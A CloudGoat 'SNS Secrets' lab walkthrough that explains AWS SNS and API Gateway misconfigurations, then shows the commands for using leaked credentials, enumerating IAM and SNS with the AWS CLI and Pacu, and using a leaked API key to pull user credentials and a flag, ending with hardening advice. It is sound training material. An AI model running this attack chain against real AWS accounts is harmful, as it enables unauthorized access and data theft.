SNS Secrets Walkthrough
Lab Info
Section titled “Lab Info”Lab Name: SNS Secrets
Platform: CloudGoat
Understanding AWS SNS (Simple Notification Service)
Section titled “Understanding AWS SNS (Simple Notification Service)”Amazon SNS is a managed messaging service for sending messages between applications or from applications to people. It supports two main types of messaging:
1. Application-to-Application (A2A) Notifications
Section titled “1. Application-to-Application (A2A) Notifications”One application can publish a message for other applications to receive. For example, a website can notify a backend service when someone signs up, without tightly coupling the two.
2. Application-to-Person (A2P) Notifications
Section titled “2. Application-to-Person (A2P) Notifications”Applications can also send messages directly to people, such as:
- SMS messages
- Emails
- Push notifications
Apps use these for alerts, order updates, and OTPs.
Common SNS Misconfigurations
Section titled “Common SNS Misconfigurations”1. Public Topics:
Section titled “1. Public Topics:”- If SNS topics are publicly accessible, attackers can publish spam or subscribe to sensitive messages.
2. Overly Broad IAM Permissions:
Section titled “2. Overly Broad IAM Permissions:”- Permissions like
sns:*can let attackers delete topics or redirect messages.
Understanding Amazon API Gateway
Section titled “Understanding Amazon API Gateway”Amazon API Gateway is a managed service for creating and managing APIs (Application Programming Interfaces). It lets apps, websites, and other systems interact with backend services securely.
With API Gateway, you can build different types of APIs such as:
- REST APIs for typical web and mobile apps.
- WebSocket APIs for real-time apps such as chat or live dashboards.
Common API Gateway Misconfigurations
Section titled “Common API Gateway Misconfigurations”1. Weak Authentication
Section titled “1. Weak Authentication”An API key is used for usage tracking and quotas, not as a substitute for authentication. In this lab, the endpoint relies on the exposed key without an additional authorizer, allowing its holder to:
- Invoke the API endpoints
- Extract data
- Trigger backend operations (like Lambda function executions or DynamoDB writes)
2. Bypassing Rate Limits
Section titled “2. Bypassing Rate Limits”If the key is linked to a generous usage plan:
- Attackers can use it to make high-volume calls.
- This can cause increased costs.
- It can also lead to a denial of service (DoS) for legitimate users.
1. Enumeration
Section titled “1. Enumeration”1.1. Initial Access
Section titled “1.1. Initial Access”We start with a set of leaked AWS credentials.
sns_user_access_key_id = [REDACTED_AWS_ACCESS_KEY_ID]sns_user_secret_access_key = [REDACTED_AWS_SECRET_ACCESS_KEY]First, add the key as a profile in the AWS CLI.
aws configure --profile sns_userAWS Access Key ID [None]: [REDACTED_AWS_ACCESS_KEY_ID]AWS Secret Access Key [None]: [REDACTED_AWS_SECRET_ACCESS_KEY]Default region name [None]: us-east-1Default output format [None]: jsonNext, verify the access by checking the caller identity.
aws sts get-caller-identity --profile sns_user{ "UserId": "[REDACTED_AWS_USERID]", "Account": "710506681373", "Arn": "arn:aws:iam::710506681373:user/cg-sns-user-cgidbhojlinths"}1.2. User Policy Enumeration
Section titled “1.2. User Policy Enumeration”List the inline policies attached to the user.
aws iam list-user-policies --user-name cg-sns-user-cgids2uo6tcael --profile sns_user{ "PolicyNames": [ "cg-sns-user-policy-cgids2uo6tcael" ]}- A policy named
cg-sns-user-policy-cgids2uo6tcaelis attached to the user.
1.3. Enumerating User Permissions
Section titled “1.3. Enumerating User Permissions”We inspect the permissions granted by this policy.
aws iam get-user-policy --user-name cg-sns-user-cgids2uo6tcael --policy-name cg-sns-user-policy-cgids2uo6tcael --profile sns_user{ "UserName": "cg-sns-user-cgids2uo6tcael", "PolicyName": "cg-sns-user-policy-cgids2uo6tcael", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Action": [ "sns:Subscribe", "sns:Receive", "sns:ListSubscriptionsByTopic", "sns:ListTopics", "sns:GetTopicAttributes", "iam:ListGroupsForUser", "iam:ListUserPolicies", "iam:GetUserPolicy", "iam:ListAttachedUserPolicies", "apigateway:GET" ], "Effect": "Allow", "Resource": "*" }, { "Action": "apigateway:GET", "Effect": "Deny", "Resource": [ "arn:aws:apigateway:us-east-1::/apikeys", "arn:aws:apigateway:us-east-1::/apikeys/*", "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/GET", "arn:aws:apigateway:us-east-1::/restapis/*/methods/GET", "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration", "arn:aws:apigateway:us-east-1::/restapis/*/integration", "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/*/integration" ] } ] }}- The policy capture includes
sns:Receive, but the permission used here issns:Subscribe. Current SNS service authorization lists the supported actions; subscribers receive deliveries through their confirmed endpoint rather than polling a Receive API. - The user also has
apigateway:GETpermission, which allows fetching API Gateway endpoint details.
1.4. Enumerating SNS Topics using Pacu
Section titled “1.4. Enumerating SNS Topics using Pacu”Pacu is an open-source AWS exploitation framework. We’ll use it to find accessible SNS topics.
use sns__enum --region us-east-1data sns{ "sns": { "us-east-1": { "arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths": { "DisplayName": "", "Owner": "710506681373", "Subscribers": [], "SubscriptionsConfirmed": "0", "SubscriptionsPending": "0" } } }}- An SNS topic was found:
public-topic-cgidbhojlinths.
2. Subscribing to the SNS Topic with Pacu
Section titled “2. Subscribing to the SNS Topic with Pacu”Now, we subscribe an email address to this topic to receive messages.
use sns__subscribe --topics arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths --email example+cloudgoat@example.comRunning module sns__subscribe...[sns__subscribe] Subscribed successfully, check email for subscription confirmation. Confirmation ARN: arn:aws:sns:us-east-1:710506681373:public-topic-cgidbhojlinths:4e4ae1c3-7765-470d-b58a-b0b8e2e5749a
We received a confirmation link via email.

After clicking the link, the subscription is confirmed.
2.1. Leaked API Key via SNS Message
Section titled “2.1. Leaked API Key via SNS Message”
Shortly after subscribing, we receive a message containing a sensitive API Gateway key.
We can use the API key to access restricted resources by passing it in the x-api-key header of an HTTP request.
Syntax:
curl -X GET -H "x-api-key: <key>" https://<restapiid>.execute-api.<region>.amazonaws.com/<stage>/<resource>2.2. Enumerating API Gateway Endpoints
Section titled “2.2. Enumerating API Gateway Endpoints”First, find the available REST APIs.
aws apigateway get-rest-apis --profile sns_user{ "items": [ { "id": "8vdw79n971", "name": "cg-api-cgidbhojlinths", "description": "API for demonstrating leaked API key scenario", "createdDate": "2025-06-22T00:56:37+05:30", "apiKeySource": "HEADER", "endpointConfiguration": { "types": [ "EDGE" ] } } ]}- Discovered a REST API with ID
8vdw79n971.
Next, list the resource paths for this API.
aws apigateway get-resources --rest-api-id 8vdw79n971 --profile sns_user{ "items": [ { "id": "2oflpb", "parentId": "uda3jwgdf4", "pathPart": "user-data", "path": "/user-data", "resourceMethods": { "GET": {} } }, { "id": "uda3jwgdf4", "path": "/" } ]}- Found the resource path:
/user-data.
Finally, get the stage name from the usage plan.
aws apigateway get-usage-plans --profile sns_user{ "items": [ { "id": "26qzsc", "name": "cg-usage-plan-cgidbhojlinths", "apiStages": [ { "apiId": "8vdw79n971", "stage": "prod-cgidbhojlinths" } ] } ]}- Found the stage name:
prod-cgidbhojlinths.
3. Accessing the Protected Resource
Section titled “3. Accessing the Protected Resource”Now we have all the pieces to construct the request:
- Rest API ID:
8vdw79n971 - Stage Name:
prod-cgidbhojlinths - Path:
/user-data - API Key:
45a3da610dc64703b10e273a4db135bf
We make the request using curl.
curl -X GET -H "x-api-key:[REDACTED_API_KEY]" https://8vdw79n971.execute-api.us-east-1.amazonaws.com/prod-cgidbhojlinths/user-dataThe response contains the target user data and flag. This confirms the exposed key is sufficient to access this endpoint in the lab, rather than merely proving the API accepts the header.
{"final_flag":"[REDACTED_FLAG]","message":"Access granted","user_data":{"email":"SuperAdmin@notarealemail.com","password":"[REDACTED_PASSWORD]","user_id":"[REDACTED_USER_ID]","username":"SuperAdmin"}}Extracted Data:
- Flag:
[REDACTED_FLAG] - Email:
SuperAdmin@notarealemail.com - Username:
SuperAdmin - Password:
[REDACTED_PASSWORD]
4. Security Best Practices
Section titled “4. Security Best Practices”To address the permissions and exposure seen in this lab:
4.1. Secure Amazon SNS
Section titled “4.1. Secure Amazon SNS”- Use SNS topic policies to control who can publish or subscribe, and prevent public access.
- Scope
sns:Subscribeandsns:Publishto the required topics. Where appropriate, constrain subscription protocols and endpoints usingsns:Protocolandsns:Endpoint. - Audit subscriptions for unauthorized endpoints.
- Use AWS CloudTrail to monitor SNS API activity.
4.2. Enforce Least Privilege for IAM
Section titled “4.2. Enforce Least Privilege for IAM”Use IAM authorization, a Lambda authorizer, or an appropriate user-authentication integration on the API. API Gateway API keys support usage plans and quotas; possession of a key should not be the only gate protecting user data.
- Avoid wildcards such as
sns:*orapigateway:*. Grant the required actions on specific resources. - Use custom policies where possible to avoid broad AWS-managed permissions.
- Add explicit denies for sensitive actions where needed.
- Enable multi-factor authentication (MFA) for IAM users, especially those with privileged access.